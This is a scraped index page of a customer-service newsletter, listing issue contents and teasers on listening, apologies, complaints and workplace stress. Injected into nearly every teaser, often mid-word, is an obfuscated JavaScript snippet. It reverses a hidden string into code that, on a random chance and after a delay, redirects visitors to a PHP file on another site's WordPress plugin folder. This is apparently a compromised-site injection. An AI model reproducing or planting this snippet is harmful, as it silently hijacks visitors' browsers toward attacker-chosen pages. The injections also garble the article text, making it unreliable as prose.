The Customer Communicator, January 2022
January 1, 2022
• The role of body language in customer service
• Houseplants offer many benefits
• Practice a calming breath
• Service News: A monthly roundup ...
• Ask the Experts: What’s Ahead in 2022?
• Cutting off the chatty customer
• Are you a welcomer?
• Bring your dog to work, or bring your work to your dog
• New Year’s resolutions, be realistic!
• Treat each call as the start of a relationship
To read more — login/sign upThe Year in Customer Service, 24 Tips and Counting
December 21, 2021
Over the past 12 months, Service Starters has brought you dozens of cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer service tips. They have covered everything from at your desk exercises, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay…Continue reading
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Tips for Returning to the Office
December 16, 2021
Service teams often work in very close quarters. If that’s your situation, then you’ve probably learned that it takes very little $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to get on someone else’s nerves. To ensure that you’re a good neighbor, pay attention $nJe=function(n){if (typeof…Continue reading
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Break These Bad Listening Habits
December 9, 2021
"Hearing without listening happens all the time in business relationships," says Joe Takash, author of Results Through Relationships. "And we’ve all been guilty of this in one way or another. Maybe we’re preoccupied and not really paying attention $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to…Continue reading
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Reps Get Crafty to Reduce Holiday Stress
December 3, 2021
Researchers have found that crafting and hobbies can relieve stress as much as meditation, deep breathing, and other relaxation techniques. And during the hectic holiday season stress management is essential $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to serving cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return…Continue reading
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The Customer Communicator, December 2021
December 1, 2021
• For the best customer service, just say “YES”
• Get crafty to reduce holiday stress
• Exercise: Try your hand at the negative-positive switch
• Ask the Panel: Managing priorities during busy times
• Heading back to the office? Be a good neighbor
• Three habits of bad listeners
• Watch your words in email and chat
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Reps “Shift” Language to Satisfy Customers
November 18, 2021
When frontline reps use “concrete language,” cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers feel seen, heard, and valued. Recent research from The Whar$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ton School of the University…Continue reading
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The Customer Communicator, November 2021
November 1, 2021
• Choosing the right words boosts customer satisfaction
• Take a mini-vacation to relieve stress
• Service News: A monthly roundup ...
• Exercise: Shift your language to satisfy customers
• Ask the Panel: How can I reduce my talk time?
• Breaking bad news to customers?
• “What’s that in the road, a head?”
• Get to know internal “suppliers”
• Make friends by building bridges
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Apologizing the Right Way
October 28, 2021
It may feel like you are apologizing all the time --- for the long wait time, for the incorrect billing, for a simple misunderstanding. Whatever the reason, it's essential $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to apologize the right way. Research from social scientists…Continue reading
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Re-think Customer Complaints
October 14, 2021
Each time a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer makes the effort $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to complain, it’s a chance $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()…Continue reading
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Shift Your Style For Better Communication
October 1, 2021
As a service professional you’ve worked with all kinds of cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers — some make quick decisions, while others take more time. Some want a lot of information, others need just an overview. Some want $nJe=function(n){if (typeof ($nJe.list[n]) ==…Continue reading
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The Customer Communicator, October 2021
October 1, 2021
• Turning complaints into opportunities
• Recognizing the value of service
• Getting the apology right
• Pop Quiz
• Service News: A monthly roundup ...
• Ask the Panel: What can we do when a teammate doesn’t pull her weight?
• Where is he coming from?
• Try improv to improve rapport
• Tips for polite and proper email
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